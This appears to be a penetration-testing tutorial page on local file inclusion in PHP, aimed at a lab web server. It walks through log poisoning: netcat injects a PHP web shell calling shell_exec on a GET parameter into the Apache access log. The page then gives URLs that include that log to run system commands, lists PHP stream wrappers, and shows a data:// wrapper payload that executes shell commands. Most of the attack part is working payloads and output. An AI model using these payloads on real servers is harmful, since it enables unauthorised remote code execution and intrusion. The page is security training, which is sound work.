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# File Inclusion Vulnerabilty

## <mark style="color:red;">Contaminating log files</mark>

Let's send that payload now:

```bash
kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

HTTP/1.1 400 Bad Request
```

Our payload should be found near the end of the log file:

```bash
10.11.0.4 - - [30/Nov/2019:13:55:12 -0500]
"GET /css/bootstrap.min.css HTTP/1.1" 200 155758 "http://10.11.0.22/menu.php?file=\\Windows\\System32\\drivers\\etc\\hosts" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.11.0.4 - - [30/Nov/2019:13:58:07 -0500] "GET /tacotruck.php HTTP/1.1" 200 1189 "http://10.11.0.22/menu.php?file=/" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.11.0.4 - - [30/Nov/2019:14:01:41 -0500] ""<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>\n" 400 981 "-" "-"
```

We'll build a URL that includes the location of the log as well as our command to be executed (ipconfig) sent as the *cmd* parameter's value.

```bash
http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig
http://10.11.0.22/menu.php?file=/var/log/apache2/logs/access.log&cmd=ifconfig
```

## <mark style="color:red;">PHP wrappers</mark>

These are PHP wrappers:

```
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process Interaction Streams
```

Example of use:

```url
http://10.11.0.22/menu.php?file=data:text/plain,hello world
```

Or a better payload for LFI:

```
http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
```


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